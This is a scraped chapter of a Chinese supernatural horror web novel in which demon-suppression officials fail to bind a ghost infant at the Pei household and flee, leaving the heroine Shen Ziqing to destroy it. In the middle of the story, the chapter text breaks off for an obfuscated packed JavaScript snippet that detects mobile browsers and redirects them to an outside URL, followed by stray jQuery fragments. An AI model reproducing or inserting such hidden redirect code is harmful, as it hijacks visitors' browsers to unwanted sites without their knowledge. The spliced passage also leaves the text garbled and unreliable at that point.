默认冷灰
24号文字
方正启体

5. 裴府疑云5

作者:万花辞灯本书字数:K更新时间:
    如果把沈自清这辈子最不想见到的人列个表,那镇妖司那群疯狗绝对榜上有名,甚至稳居第一。


    其中最疯的有两条,一条叫武念月,一条叫薛靖贞。


    好死不死,眼前这人正是薛靖贞!


    一条,比武念月还疯的疯狗。


    沈自清暗骂了声倒霉。


    如果硬要比,她宁愿来的是武念月。


    显而易见,不想见到薛靖贞的不只有她,还有谢老夫人。从对方进门开始,她的眉头就没松开过,尤其是听完对方那阴阳怪气的问候,不仅眉毛没解开,脸也跟着黑下去。


    不知道的还以为把锅灰涂脸上,防鬼呢。


    即使心里有天大的不愿,老太君也只得扯出一个略显僵硬的、热情的笑容,一边派人上茶,一边问道“不知薛大人深夜来我裴府,所谓何事?”


    话里话外绝口不提裴钰的事情,沈自清便知道鬼婴的事情薛长夷不知道,或者说,只有武念月知道。


    她眸色微深,在立刻离开和留下看戏之间挣扎了不过一秒,就选了后者。


    各家都摩拳擦掌准备上场了,此时离开,岂不平白堕人兴致?


    她可不是个扫兴的人。


    而听到这话的薛靖贞眉眼微抬,突然也笑了。他本就生了副多情的美人面,不笑还好,一笑便如那民间话本子里成了精的妖精,专门勾人魂魄的。


    “谢老夫人贵人多忘事,想必是忘了前不久刚才向镇妖司递了牌子,武司主不在,只好我亲自来了。”


    苍白到几乎透明的指尖轻扣着扶手,他的笑容也越来越大,像是一条闻到腥味的猫,“没成想,裴府准备了份这么大的礼物。”


    最后一个字落下的瞬间,连着里屋的层层纱帐无风自动,像是有无数只无形的手同时掀开了那些厚重的蚊帐。


    不知何时,原本干净的地面上竟凭空出现了一排血脚印!


    脚印小小的,只有四个脚趾,此时还在动,一步一步朝着床榻那边爬去。


    与床榻的距离越近,那个鬼东西的身形越凝实,像人类婴孩那样手脚并用爬到裴钰身上的时候,它已经从最开始的一片虚无凝成了一个人类婴孩的模样。


    不。


    比起人的皮肤,它的皮肤是可怕的青紫色,是和活生生被憋死的小孩一样的青紫色。


    而在那层薄薄的皮肤下是数不清的黑色脉络,一条盖着另一条,层层叠叠拥挤在薄到几乎透明的皮层下,随着主人的动作,一呼一吸。


    嘻嘻~


    嘻嘻嘻嘻嘻嘻i嘻嘻i嘻嘻i嘻嘻嘻i嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻——


    陈氏的瞳孔迅速缩小成针尖大的黑点,尖叫声冲破喉咙的刹那,一只手捂住了她的嘴巴。


    她眼珠一转,是许氏。


    她的脸色是同样的惨白,那双无论遇到什么都平静到像一口枯井的眼睛第一次露出恐惧,但即使如此她依旧死死盯着里屋,强迫自己放轻呼吸,不让地方注意到自己。


    不止是她,应该说在场所有还在喘气的活人不约而同地放轻呼吸,即使一个个腿软地像是煮过劲的面条。


    除了薛靖贞,他好整以暇地靠在轮椅上,手指有一搭没一搭瞧着木纹扶手,嘴角带着浅浅笑意,察觉到有人看他,他微微偏头,食指竖在唇上。


    噤声哦。


    否则......


    会死的。


    陈氏这时候也跟着冷静下来,学着对方的模样,放缓呼吸,哪怕胸膛下的心脏几乎要从她的喉咙里跳出来!


    然而,意外还是发生了。


    刚刚被派去上茶的侍女无知无觉地端着热茶进来,一只脚刚卖进门槛就看到屋里的主子们死死捂着嘴巴,见她进来拼命冲她摇头,侍女不明所以,按道理说她应该放下茶碗便退出去,但莫名的,一股不知道从哪来的冲动让她转过了头。


    然后,她看到了此生最难忘的一幕!


    “咔嚓!”


    “啊啊啊啊啊啊啊啊啊啊啊啊——”


    与茶碗一起摔碎的,是侍女尖锐到几乎撕裂所有人耳膜的尖叫声!


    完了。


    所有人脑子里只剩下这一个想法,陈氏不知道哪里来的胆子,颤颤巍巍地抬起眼,照进一双漆黑的、没有任何眼白的眼眶,见她看过来,鲜红松垮的嘴角直接开心地咧到耳根,露出里面腥臭腐烂的牙龈,和冒着寒光的尖牙!


    这一刻,她的脑中诡异地只剩下空白,死寂的空白。


    脸上的最后一丝血色无情褪去,猩红的血丝急不可耐地爬遍这个眼眶,瞳孔急剧缩小,目眦欲裂。


    她想尖叫,但对于此时动都动不了的她来说,这个举动,太奢望了。


    “结阵。”薛靖贞沉声道。


    话音刚落,身后众人整齐划一捏诀起阵,砰得一声,一道繁复的金色法阵宛如巨大的罗盘一盘横亘在空中,分为上中下三道,上启天意,下沉地鸣,唯独最中间的那道将鬼婴牢牢困在中间。


    无数道足有人大腿粗的金色锁链裹挟着繁复还在跳动的符文,又急又快地朝着最中间仰头尖叫的鬼婴飞掠而去!


    “啊啊啊啊啊啊阿——”


    汹涌的鬼啸声从鬼婴的喉咙钻出,它痛苦地仰起头,其中一道锁链正好锁在它的喉咙上,无数道金色符文像有生命般迅速在他身上攀爬起来,一道道不详浓厚的黑气顺着这些锁链的缝隙溢散到空气中。


    天罗地网灭鬼阵需要庞大的灵力不间断地输送,否则便是功亏一篑,镇妖司的人显然知道这个道理,一个个面色惨白,强忍着灵力被强硬从体内抽走,捏诀的手指都在颤抖。


    快了。


    再坚持下......再坚持下。


    不知何时躲在帘子后的沈自清将这一切映在眼底,眼中情绪迅速翻滚又快速掩盖在平静的水面之下。


    真的,快了吗?


    咔嚓。


    一道清晰的碎裂声精准地响在所有人的耳畔,惊得面面相觑。


    什么声音?


    咔嚓咔嚓咔嚓咔嚓——


    下一秒,更多的更连续的碎裂声连续炸开,一道道裂纹不知何时充斥着法阵的每一个角落,密集地像是一张张粘在一起的蜘蛛网,又像是冬日里被踩裂的冰面。


    被踩碎的冰面会面临什么?


    薛靖贞面色突变:“闪开!”


    太晚了。


    与薛靖贞声音一起响起的,是法阵彻底碎裂的声音!尖锐的鬼啸声再次充斥整个房间,但这一次,是独属于野兽出笼的激动咆哮,也是即将大快朵颐的兴奋呐喊。


    鬼婴缓缓直起身,皮肤下的黑色经络跳动地更加迅猛,它缓缓抬头,露出一双与刚刚截然不同的眼睛。


    它之前的眼眶只有浓墨般的深深怨气,经常能看到缕缕漆黑的怨气溢出眼眶。但现在,它长出了如人类般的眼白,可是顺序却被完全颠倒。


    中间的是诡异的眼白,两侧是浓重的黑色。


    而在漆黑中,无数个细小瞳仁迅速转动,发出窸窸窣窣的声音,尖锐的獠牙伸出唇外,坠在肚皮上的腥臭脐带疯了般壮大分裂,像是八爪鱼一样迅猛朝着在场众人袭来!


    “你们......死......死!”


    梅姨娘是第一个崩溃的,她像是疯了一样往外跑,刚迈出两步,噗嗤一声,一条脐带精准贯穿了她的心脏。


    抽出脐带,一个血糊糊的大洞出现在刚刚的位置,梅姨娘直直倒在地上,没了声息。


    这下,所有人都崩溃了。


    镇妖司众人面色惨白地看着这一切,垂在身侧的手指还在痉挛颤抖,刚刚的天罗地网灭鬼阵已经掏空了全部的灵力,现在的他们,与凡人无异。


    怎么办?


    难不成真要死在这了?


    就在这时,从鬼婴二次进化后一直没说话的薛靖贞右手往虚空中一探,一把紧闭着的红伞凭空出现,他反手握着伞柄,朝着地面猛地一戳,叮,一道泛着水波纹的发展以他为原点,朝着镇妖司的所有人无形展开。


    是传送阵。


    有人有些不忍心,颤颤巍巍开口:“大人,那他们......”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17591613|205490||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    薛靖贞冷淡的目光斜斜扫来,直接把他那些未说出口的话全部噎了回去。


    身旁比他早进来很多年的老油条一把拉住他的手腕,打着哈哈:“大人你别介意,他说话向来不经大脑,还望您千万别忘心里去。”


    薛靖贞长眉轻佻,目光越过老油条直指身后说话的人:“你若想留下来,本座自不会拦你。”


    老油条抢先一步道:“没有没有,他脑子抽风随便说的,随便说的。”


    见薛靖贞将目光收回,他才狠狠掐了把那人的胳膊,疼的人龇牙咧嘴才悄声骂道:“你是不是疯了?想死别拉着随访一起!再有下一次,我绝对不帮你!”


    说完又瞪了他一眼,才松开他。


    小孩消失前的最后一秒,隔着阵法翻涌上来的磅礴灵力,不忍地最后看了眼这群人,下一秒,彻底消失在原地。


    看到这一幕的露种下意识抓紧沈自清的衣角:“小姐,小姐他们走了,我们怎么办......”


    她欲哭无泪,湿漉漉的眼睛里都是绝望。


    沈自清也笑了。


    气笑的。


    薛靖贞这个打不过就跑的毛病到底是从哪学的?学艺不精把人鬼物惹毛就算了,打不过就跑,留这一帮老弱病残等死又是几个意思?


    若今日在场的都是些手无缚鸡之力的普通人呢?活该等死吗?


    她越生气脸上就越平静,没有回答露种,只是抬手轻轻将她鬓边的头发捋到耳后,“睡一觉醒过来,一切都好了。”


    露种疑惑,刚要说什么,意识忽然开始模糊不清,迅速坠入黑暗。沈自清将她藏在帘子后,想了想,打了个响指,一道无形的水波结界凝在她身前,像倒扣的碗一样将她牢牢护在下面。


    鬼婴注意到了这个人,歪了歪脑袋,嘴角残忍地咧开,下一秒,它操纵着自己的脐带猛地冲向沈自清的后背,在空中分成无数道,食人花般竟是想要将她整个人都吞并下去。


    砰!


    飞得最快的两根脐带在即将触碰到她时炸成血雾,她缓缓侧过身,在鬼婴又惊又惧的无数个瞳仁里,浓厚磅礴到几乎灼目的白色灵光不要钱地从体内溢出,比发丝还要细上两分的灵力凌厉划开鬼婴的狰狞的脐带。


    血雾汹涌间,无奈的声音轻轻落下,带着两分苦恼。


    “畜生就是畜生,连恩人都敢动手。”


    少女伸手,似乎只是随手一捏,掐住的却是鬼婴的脖子,手指寸寸收紧,鬼婴不断挣扎,眼中是与人类别无二致的恐惧和求饶,喉咙里止不住的溢出细细的哭泣声好一些不成调的哼哼声。


    沈自清歪头:“你说你错了?”


    见她听得懂,鬼婴像是抓到救命稻草一样拼命点头,嘴角还没来得及上扬,就僵在原地。


    “不可以哦。”她笑着摇头:“不听话的畜生,我是不会留的。”


    啊啊啊啊啊啊啊啊啊——


    啪嗒。


    *


    一早就躲在红木箱子里的谢老夫人紧紧捂着嘴巴,一片漆黑中睫毛都不敢动一下,可左胸下的心脏却跳的一下比一下厉害,她想让它不要再挑了,可愈是如此,跳的愈发厉害。


    没有声音了。


    她努力忽略掉愈发急促的心跳声,细细听着箱子外,好一会才确定却是是没声了,老夫人咽了咽口水,手指颤抖地摸上木板,微微用力,一道细细的缝出现在漆黑的世界。


    老夫人小心翼翼瞄了一眼,很安静。


    直到此时心口的大石头终于落地,手上用力猛地推开箱子,新鲜的空气争先恐后涌进来,她盘坐在箱子里,大口大口喘着粗气,发丝黏在一起,说不出的狼狈。


    头顶忽然罩下一片阴影,含笑的声音轻飘飘落下。


    “居然躲在箱子里吗?”


    全身顿时僵在原地,她像是僵硬的木偶,缓缓看向声音的来源,脸上还带着劫后余生的喜悦,猛不丁僵在一处,说不出的奇怪。


    幽幽烛火下,是一双与记忆中的女人如出一辙的眼睛。


    “祖母。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)